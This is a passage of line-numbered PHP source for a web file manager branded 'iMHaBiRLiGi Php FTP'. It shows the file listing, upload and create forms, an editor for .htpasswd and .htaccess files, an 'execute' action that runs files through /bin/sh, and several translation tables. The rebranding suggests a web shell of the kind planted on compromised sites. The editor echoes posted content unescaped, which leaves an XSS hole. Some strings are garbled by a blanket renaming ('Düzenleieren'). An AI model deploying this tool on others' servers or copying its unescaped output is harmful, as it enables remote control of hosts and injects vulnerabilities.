  1033.         $path = addslash($path);
  1034.     }
  1035.  
  1036.     while (strpos($path, $pattern) !== false) {
  1037.         $path = str_replace($pattern, $delim, $path);
  1038.     }
  1039.  
  1040.     $e = addslashes($delim);
  1041.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1042.  
  1043.     while (ereg($regex, $path)) {
  1044.         $path = ereg_replace($regex, $delim, $path);
  1045.     }
  1046.    
  1047.     return $path;
  1048.  
  1049. }
  1050.  
  1051. function human_filesize ($filesize) {
  1052.  
  1053.     $suffices = 'kMGTPE';
  1054.  
  1055.     $n = 0;
  1056.     while ($filesize >= 1000) {
  1057.         $filesize /= 1024;
  1058.         $n++;
  1059.     }
  1060.  
  1061.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1062.  
  1063.     if (strpos($filesize, '.') !== false) {
  1064.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1065.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1066.         }
  1067.     }
  1068.  
  1069.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1070.  
  1071.     return $filesize . " {$suffix}B";
  1072.  
  1073. }
  1074.  
  1075. function strip (&$str) {
  1076.     $str = stripslashes($str);
  1077. }
  1078.  
  1079. /* ------------------------------------------------------------------------- */
  1080.  
  1081. function listing_page ($message = null) {
  1082.     global $self, $directory, $sort, $reverse;
  1083.  
  1084.     html_header();
  1085.  
  1086.     $list = getlist($directory);
  1087.  
  1088.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1089.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1090.  
  1091.     sortlist($list, $sort, $reverse);
  1092.  
  1093.     echo '<h1 style="margin-bottom: 0">iMHaBiRLiGi Php FTP</h1>
  1094.  
  1095. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1096.  
  1097. <table id="main">
  1098. ';
  1099.  
  1100.     directory_choice();
  1101.  
  1102.     if (!empty($message)) {
  1103.         spacer();
  1104.         echo $message;
  1105.     }
  1106.  
  1107.     if (@is_writable($directory)) {
  1108.         upload_box();
  1109.         create_box();
  1110.     } else {
  1111.         spacer();
  1112.     }
  1113.  
  1114.     if ($list) {
  1115.         listing($list);
  1116.     } else {
  1117.         echo error('not_readable', $directory);
  1118.     }
  1119.  
  1120.     echo '</table>
  1121.  
  1122. </form>
  1123.  
  1124. ';
  1125.  
  1126.     html_footer();
  1127.  
  1128. }
  1129.  
  1130. function listing ($list) {
  1131.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1132.  
  1133.     echo '<tr class="listing">
  1134.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1135. ';
  1136.  
  1137.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1138.  
  1139.     if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1140.     echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1141.  
  1142.     if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1143.     echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1144.  
  1145.     if (!$win) {
  1146.  
  1147.         if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1148.         echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1149.  
  1150.         if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1151.         echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1152.  
  1153.         if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1154.         echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1155.  
  1156.     }
  1157.  
  1158.     echo '  <th class="Görevler">' . word('Görevler') . '</th>
  1159. </tr>
  1160. ';
  1161.  
  1162.     for ($i = 0; $i < sizeof($list); $i++) {
  1163.         $file = $list[$i];
  1164.  
  1165.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1166.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1167.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1168.  
  1169.         echo '<tr class="listing">
  1170.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1171.     <td class="filename" title="' . html($timestamps) . '">';
  1172.  
  1173.         if ($file['is_link']) {
  1174.  
  1175.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1176.             echo html($file['filename']) . ' &rarr; ';
  1177.  
  1178.             $real_file = relative2absolute($file['target'], $directory);
  1179.  
  1180.             if (@is_readable($real_file)) {
  1181.                 if (@is_dir($real_file)) {
  1182.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1183.                 } else {
  1184.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1185.                 }
  1186.             } else {
  1187.                 echo html($file['target']);
  1188.             }
  1189.  
  1190.         } elseif ($file['is_dir']) {
  1191.  
  1192.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1193.             if ($win || $file['is_executable']) {
  1194.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1195.             } else {
  1196.                 echo html($file['filename']);
  1197.             }
  1198.             echo ' ]';
  1199.  
  1200.         } else {
  1201.  
  1202.             if (substr($file['filename'], 0, 1) == '.') {
  1203.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1204.             } else {
  1205.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1206.             }
  1207.  
  1208.             if ($file['is_file'] && $file['is_readable']) {
  1209.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1210.             } else {
  1211.                 echo html($file['filename']);
  1212.             }
  1213.  
  1214.         }
  1215.  
  1216.         if ($file['size'] >= 1000) {
  1217.             $human = ' title="' . human_filesize($file['size']) . '"';
  1218.         } else {
  1219.             $human = '';
  1220.         }
  1221.  
  1222.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1223.  
  1224.         if (!$win) {
  1225.  
  1226.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1227.  
  1228.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1229.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1230.             echo html(permission_octal2string($file['permission']));
  1231.             if ($l) echo '</a>';
  1232.  
  1233.             echo "</td>\n";
  1234.  
  1235.             if (array_key_exists('owner_name', $file)) {
  1236.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1237.             } else {
  1238.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1239.             }
  1240.  
  1241.             if (array_key_exists('group_name', $file)) {
  1242.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1243.             } else {
  1244.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1245.             }
  1246.  
  1247.         }
  1248.  
  1249.         echo '  <td class="Görevler">
  1250.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1251. ';
  1252.  
  1253.         $actions = array();
  1254.         if (function_exists('symlink')) {
  1255.             $actions[] = 'create_symlink';
  1256.         }
  1257.         if (@is_writable(dirname($file['path']))) {
  1258.             $actions[] = 'Sil';
  1259.             $actions[] = 'Degistir';
  1260.             $actions[] = 'Tasi';
  1261.         }
  1262.         if ($file['is_file'] && $file['is_readable']) {
  1263.             $actions[] = 'Kopyala';
  1264.             $actions[] = 'indir';
  1265.             if ($file['is_writable']) $actions[] = 'Düzenle';
  1266.         }
  1267.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1268.             $actions[] = 'execute';
  1269.         }
  1270.  
  1271.         if (sizeof($actions) > 0) {
  1272.  
  1273.             echo '      <select class="small" name="action' . $i . '" size="1">
  1274.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1275. ';
  1276.  
  1277.             foreach ($actions as $action) {
  1278.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1279.             }
  1280.  
  1281.             echo '      </select>
  1282.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1283. ';
  1284.  
  1285.         }
  1286.  
  1287.         echo '  </td>
  1288. </tr>
  1289. ';
  1290.  
  1291.     }
  1292.  
  1293.     echo '<tr class="listing_footer">
  1294.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1295.     <td colspan="' . ($cols - 1) . '">
  1296.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1297.         <input type="hidden" name="focus" value="" />
  1298.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1299. ';
  1300.  
  1301.     $actions = array();
  1302.     if (@is_writable(dirname($file['path']))) {
  1303.         $actions[] = 'Sil';
  1304.         $actions[] = 'Tasi';
  1305.     }
  1306.     $actions[] = 'Kopyala';
  1307.  
  1308.     echo '      <select class="small" name="action_all" size="1">
  1309.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1310. ';
  1311.  
  1312.     foreach ($actions as $action) {
  1313.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1314.     }
  1315.  
  1316.     echo '      </select>
  1317.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1318.     </td>
  1319. </tr>
  1320. ';
  1321.  
  1322. }
  1323.  
  1324. function directory_choice () {
  1325.     global $directory, $homedir, $cols, $self;
  1326.  
  1327.     echo '<tr>
  1328.     <td colspan="' . $cols . '" id="directory">
  1329.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1330.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1331.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1332.     </td>
  1333. </tr>
  1334. ';
  1335.  
  1336. }
  1337.  
  1338. function upload_box () {
  1339.     global $cols;
  1340.  
  1341.     echo '<tr>
  1342.     <td colspan="' . $cols . '" id="upload">
  1343.         ' . word('file') . ':
  1344.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1345.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1346.     </td>
  1347. </tr>
  1348. ';
  1349.  
  1350. }
  1351.  
  1352. function create_box () {
  1353.     global $cols;
  1354.  
  1355.     echo '<tr>
  1356.     <td colspan="' . $cols . '" id="create">
  1357.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1358.         <option value="file">' . word('file') . '</option>
  1359.         <option value="directory">' . word('directory') . '</option>
  1360.         </select>
  1361.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1362.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1363.     </td>
  1364. </tr>
  1365. ';
  1366.  
  1367. }
  1368.  
  1369. function Düzenle ($file) {
  1370.     global $self, $directory, $Düzenlecols, $Düzenlerows, $apache, $htpasswd, $htaccess;
  1371.  
  1372.     html_header();
  1373.  
  1374.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1375.  
  1376. <form action="' . $self . '" method="post">
  1377.  
  1378. <table class="dialog">
  1379. <tr>
  1380. <td class="dialog">
  1381.  
  1382.     <textarea name="content" cols="' . $Düzenlecols . '" rows="' . $Düzenlerows . '" WRAP="off">';
  1383.  
  1384.     if (array_key_exists('content', $_POST)) {
  1385.         echo $_POST['content'];
  1386.     } else {
  1387.         $f = fopen($file, 'r');
  1388.         while (!feof($f)) {
  1389.             echo html(fread($f, 8192));
  1390.         }
  1391.         fclose($f);
  1392.     }
  1393.  
  1394.     if (!empty($_POST['user'])) {
  1395.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1396.     }
  1397.     if (!empty($_POST['basic_auth'])) {
  1398.         if ($win) {
  1399.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1400.         } else {
  1401.             $authfile = $directory . $htpasswd;
  1402.         }
  1403.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1404.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1405.         echo 'Require valid-user';
  1406.     }
  1407.  
  1408.     echo '</textarea>
  1409.  
  1410.     <hr />
  1411. ';
  1412.  
  1413.     if ($apache && basename($file) == $htpasswd) {
  1414.         echo '
  1415.     ' . word('user') . ': <input type="text" name="user" />
  1416.     ' . word('password') . ': <input type="password" name="password" />
  1417.     <input type="submit" value="' . word('add') . '" />
  1418.  
  1419.     <hr />
  1420. ';
  1421.  
  1422.     }
  1423.  
  1424.     if ($apache && basename($file) == $htaccess) {
  1425.         echo '
  1426.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1427.  
  1428.     <hr />
  1429. ';
  1430.  
  1431.     }
  1432.  
  1433.     echo '
  1434.     <input type="hidden" name="action" value="Düzenle" />
  1435.     <input type="hidden" name="file" value="' . html($file) . '" />
  1436.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1437.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1438.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1439.  
  1440. </td>
  1441. </tr>
  1442. </table>
  1443.  
  1444. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  1445.  
  1446. </form>
  1447.  
  1448. ';
  1449.  
  1450.     html_footer();
  1451.  
  1452. }
  1453.  
  1454. function spacer () {
  1455.     global $cols;
  1456.  
  1457.     echo '<tr>
  1458.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1459. </tr>
  1460. ';
  1461.  
  1462. }
  1463.  
  1464. function textfieldsize ($content) {
  1465.  
  1466.     $size = strlen($content) + 5;
  1467.     if ($size < 30) $size = 30;
  1468.  
  1469.     return $size;
  1470.  
  1471. }
  1472.  
  1473. function request_dump () {
  1474.  
  1475.     foreach ($_REQUEST as $key => $value) {
  1476.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1477.     }
  1478.  
  1479. }
  1480.  
  1481. /* ------------------------------------------------------------------------- */
  1482.  
  1483. function html ($string) {
  1484.     global $charset;
  1485.     return htmlentities($string, ENT_COMPAT, $charset);
  1486. }
  1487.  
  1488. function word ($word) {
  1489.     global $words, $word_charset;
  1490.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1491. }
  1492.  
  1493. function phrase ($phrase, $arguments) {
  1494.     global $words;
  1495.     static $search;
  1496.  
  1497.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1498.  
  1499.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1500.         $arguments[$i] = nl2br(html($arguments[$i]));
  1501.     }
  1502.  
  1503.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1504.  
  1505.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1506.  
  1507. }
  1508.  
  1509. function getwords ($lang) {
  1510.     global $word_charset, $date_format;
  1511.  
  1512.     switch ($lang) {
  1513.     case 'de':
  1514.  
  1515.         $date_format = 'd.m.y H:i:s';
  1516.         $word_charset = 'ISO-8859-1';
  1517.  
  1518.         return array(
  1519. 'directory' => 'Verzeichnis',
  1520. 'file' => 'Datei',
  1521. 'filename' => 'Dateiname',
  1522.  
  1523. 'size' => 'Größe',
  1524. 'permission' => 'Rechte',
  1525. 'owner' => 'Eigner',
  1526. 'group' => 'Gruppe',
  1527. 'other' => 'Andere',
  1528. 'Görevler' => 'Funktionen',
  1529.  
  1530. 'read' => 'lesen',
  1531. 'write' => 'schreiben',
  1532. 'execute' => 'ausführen',
  1533.  
  1534. 'create_symlink' => 'Symlink erstellen',
  1535. 'Sil' => 'löschen',
  1536. 'Degistir' => 'umbenennen',
  1537. 'Tasi' => 'verschieben',
  1538. 'Kopyala' => 'kopieren',
  1539. 'Düzenle' => 'Düzenleieren',
  1540. 'indir' => 'herunterladen',
  1541. 'upload' => 'hochladen',
  1542. 'create' => 'erstellen',
  1543. 'change' => 'wechseln',
  1544. 'save' => 'speichern',
  1545. 'set' => 'setze',
  1546. 'reset' => 'zurücksetzen',
  1547. 'relative' => 'Pfad zum Ziel relativ',
  1548.  
  1549. 'yes' => 'Ja',
  1550. 'no' => 'Nein',
  1551. 'Geri' => 'zurück',
  1552. 'Yol' => 'Ziel',
  1553. 'symlink' => 'Symbolischer Link',
  1554. 'no_output' => 'keine Ausgabe',
  1555.  
  1556. 'user' => 'Benutzername',
  1557. 'password' => 'Kennwort',
  1558. 'add' => 'hinzufügen',
  1559. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1560.  
  1561. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1562. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1563. 'already_exists' => '"[%1]" existiert bereits.',
  1564. 'created' => '"[%1]" wurde erstellt.',
  1565. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1566. 'really_Sil' => 'Sollen folgende Dateien wirklich gelöscht werden?',
  1567. 'Sild' => "Folgende Dateien wurden gelöscht:\n[%1]",
  1568. 'not_Sild' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
  1569. 'Degistir_file' => 'Benenne Datei um:',
  1570. 'Degistird' => '"[%1]" wurde in "[%2]" umbenannt.',
  1571. 'not_Degistird' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1572. 'Tasi_files' => 'Verschieben folgende Dateien:',
  1573. 'Tasid' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1574. 'not_Tasid' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1575. 'Kopyala_files' => 'Kopiere folgende Dateien:',
  1576. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1577. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1578. 'not_Düzenleed' => '"[%1]" kann nicht Düzenleiert werden.',
  1579. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
  1580. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
  1581. 'saved' => '"[%1]" wurde gespeichert.',
  1582. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1583. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1584. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1585. 'permission_for' => 'Rechte für "[%1]":',
  1586. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1587. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1588. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1589.         );
  1590.  
  1591.     case 'fr':
  1592.  
  1593.         $date_format = 'd.m.y H:i:s';
  1594.         $word_charset = 'ISO-8859-1';
  1595.  
  1596.         return array(
  1597. 'directory' => 'Répertoire',
  1598. 'file' => 'Fichier',
  1599. 'filename' => 'Nom fichier',
  1600.  
  1601. 'size' => 'Taille',
  1602. 'permission' => 'Droits',
  1603. 'owner' => 'Propriétaire',
  1604. 'group' => 'Groupe',
  1605. 'other' => 'Autres',
  1606. 'Görevler' => 'Fonctions',
  1607.  
  1608. 'read' => 'Lire',
  1609. 'write' => 'Ecrire',
  1610. 'execute' => 'Exécuter',
  1611.  
  1612. 'create_symlink' => 'Créer lien symbolique',
  1613. 'Sil' => 'Effacer',
  1614. 'Degistir' => 'Renommer',
  1615. 'Tasi' => 'Déplacer',
  1616. 'Kopyala' => 'Copier',
  1617. 'Düzenle' => 'Ouvrir',
  1618. 'indir' => 'Télécharger sur PC',
  1619. 'upload' => 'Télécharger sur serveur',
  1620. 'create' => 'Créer',
  1621. 'change' => 'Changer',
  1622. 'save' => 'Sauvegarder',
  1623. 'set' => 'Exécuter',
  1624. 'reset' => 'Réinitialiser',
  1625. 'relative' => 'Relatif',
  1626.  
  1627. 'yes' => 'Oui',
  1628. 'no' => 'Non',
  1629. 'Geri' => 'Retour',
  1630. 'Yol' => 'Yol',
  1631. 'symlink' => 'Lien symbollique',
  1632. 'no_output' => 'Pas de sortie',
  1633.  
  1634. 'user' => 'Utilisateur',
  1635. 'password' => 'Mot de passe',
  1636. 'add' => 'Ajouter',
  1637. 'add_basic_auth' => 'add basic-authentification',
  1638.  
  1639. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1640. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1641. 'already_exists' => '"[%1]" existe déjà.',
  1642. 'created' => '"[%1]" a été créé.',
  1643. 'not_created' => '"[%1]" n a pas pu être créé.',
  1644. 'really_Sil' => 'Effacer le fichier?',
  1645. 'Sild' => "Ces fichiers ont été détuits:\n[%1]",
  1646. 'not_Sild' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1647. 'Degistir_file' => 'Renomme fichier:',
  1648. 'Degistird' => '"[%1]" a été renommé en "[%2]".',
  1649. 'not_Degistird' => '"[%1] n a pas pu être renommé en "[%2]".',
  1650. 'Tasi_files' => 'Déplacer ces fichiers:',
  1651. 'Tasid' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1652. 'not_Tasid' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1653. 'Kopyala_files' => 'Copier ces fichiers:',
  1654. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1655. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1656. 'not_Düzenleed' => '"[%1]" ne peut être ouvert.',
  1657. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1658. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1659. 'saved' => '"[%1]" a été sauvegardé.',
  1660. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1661. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1662. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1663. 'permission_for' => 'Droits de "[%1]":',
  1664. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1665. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1666. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1667.         );
  1668.  
  1669.     case 'it':
  1670.  
  1671.         $date_format = 'd-m-Y H:i:s';
  1672.         $word_charset = 'ISO-8859-1';
  1673.  
  1674.         return array(
  1675. 'directory' => 'Directory',
  1676. 'file' => 'File',
  1677. 'filename' => 'Nome File',
  1678.  
  1679. 'size' => 'Dimensioni',
  1680. 'permission' => 'Permessi',
  1681. 'owner' => 'Proprietario',
  1682. 'group' => 'Gruppo',
  1683. 'other' => 'Altro',
  1684. 'Görevler' => 'Funzioni',
  1685.  
  1686. 'read' => 'leggi',
  1687. 'write' => 'scrivi',
  1688. 'execute' => 'esegui',
  1689.  
  1690. 'create_symlink' => 'crea link simbolico',
  1691. 'Sil' => 'cancella',
  1692. 'Degistir' => 'rinomina',
  1693. 'Tasi' => 'sposta',
  1694. 'Kopyala' => 'copia',
  1695. 'Düzenle' => 'modifica',
  1696. 'indir' => 'indir',
  1697. 'upload' => 'upload',
  1698. 'create' => 'crea',
  1699. 'change' => 'cambia',
  1700. 'save' => 'salva',
  1701. 'set' => 'imposta',
  1702. 'reset' => 'reimposta',
  1703. 'relative' => 'Percorso relativo per la destinazione',
  1704.  
  1705. 'yes' => 'Si',
  1706. 'no' => 'No',
  1707. 'Geri' => 'indietro',
  1708. 'Yol' => 'Destinazione',
  1709. 'symlink' => 'Link simbolico',
  1710. 'no_output' => 'no output',
  1711.  
  1712. 'user' => 'User',
  1713. 'password' => 'Password',
  1714. 'add' => 'aggiungi',
  1715. 'add_basic_auth' => 'aggiungi autenticazione base',
  1716.  
  1717. 'uploaded' => '"[%1]" è stato caricato.',
  1718. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1719. 'already_exists' => '"[%1]" esiste già.',
  1720. 'created' => '"[%1]" è stato creato.',
  1721. 'not_created' => '"[%1]" non è stato creato.',
  1722. 'really_Sil' => 'Cancello questi file ?',
  1723. 'Sild' => "Questi file sono stati cancellati:\n[%1]",
  1724. 'not_Sild' => "Questi file non possono essere cancellati:\n[%1]",
  1725. 'Degistir_file' => 'File rinominato:',
  1726. 'Degistird' => '"[%1]" è stato rinominato in "[%2]".',
  1727. 'not_Degistird' => '"[%1] non è stato rinominato in "[%2]".',
  1728. 'Tasi_files' => 'Sposto questi file:',
  1729. 'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1730. 'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1731. 'Kopyala_files' => 'Copio questi file',
  1732. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1733. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1734. 'not_Düzenleed' => '"[%1]" non può essere modificato.',
  1735. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1736. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1737. 'saved' => '"[%1]" è stato salvato.',
  1738. 'not_saved' => '"[%1]" non è stato salvato.',
  1739. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1740. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1741. 'permission_for' => 'Permessi di "[%1]":',
  1742. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1743. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1744. 'not_readable' => '"[%1]" non può essere letto.'
  1745.         );
  1746.  
  1747.     case 'se':
  1748.  
  1749.         $date_format = 'n/j/y H:i:s';
  1750.         $word_charset = 'ISO-8859-1';
  1751.  
  1752.         return array(
  1753. 'directory' => 'Mapp',
  1754. 'file' => 'Fil',
  1755. 'filename' => 'Filnamn',
  1756.  
  1757. 'size' => 'Storlek',
  1758. 'permission' => 'Säkerhetsnivå',
  1759. 'owner' => 'Ägare',
  1760. 'group' => 'Grupp',
  1761. 'other' => 'Andra',
  1762. 'Görevler' => 'Funktioner',
  1763.  
  1764. 'read' => 'Läs',
  1765. 'write' => 'Skriv',
  1766. 'execute' => 'Utför',
  1767.  
  1768. 'create_symlink' => 'Skapa symlink',
  1769. 'Sil' => 'Radera',
  1770. 'Degistir' => 'Byt namn',
  1771. 'Tasi' => 'Flytta',
  1772. 'Kopyala' => 'Kopiera',
  1773. 'Düzenle' => 'Ändra',
  1774. 'indir' => 'Ladda ner',
  1775. 'upload' => 'Ladda upp',
  1776. 'create' => 'Skapa',
  1777. 'change' => 'Ändra',
  1778. 'save' => 'Spara',
  1779. 'set' => 'Markera',
  1780. 'reset' => 'Töm',
  1781. 'relative' => 'Relative path to target',
  1782.  
  1783. 'yes' => 'Ja',
  1784. 'no' => 'Nej',
  1785. 'Geri' => 'Tillbaks',
  1786. 'Yol' => 'Yol',
  1787. 'symlink' => 'Symlink',
  1788. 'no_output' => 'no output',
  1789.  
  1790. 'user' => 'Användare',
  1791. 'password' => 'Lösenord',
  1792. 'add' => 'Lägg till',
  1793. 'add_basic_auth' => 'add basic-authentification',
  1794.  
  1795. 'uploaded' => '"[%1]" har laddats upp.',
  1796. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1797. 'already_exists' => '"[%1]" finns redan.',
  1798. 'created' => '"[%1]" har skapats.',
  1799. 'not_created' => '"[%1]" kunde inte skapas.',
  1800. 'really_Sil' => 'Radera dessa filer?',
  1801. 'Sild' => "De här filerna har raderats:\n[%1]",
  1802. 'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]",
  1803. 'Degistir_file' => 'Byt namn på fil:',
  1804. 'Degistird' => '"[%1]" har bytt namn till "[%2]".',
  1805. 'not_Degistird' => '"[%1] kunde inte döpas om till "[%2]".',
  1806. 'Tasi_files' => 'Flytta dessa filer:',
  1807. 'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1808. 'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1809. 'Kopyala_files' => 'Kopiera dessa filer:',
  1810. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1811. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1812. 'not_Düzenleed' => '"[%1]" kan inte ändras.',
  1813. 'executed' => "\"[%1]\" har utförts:\n{%2}",
  1814. 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
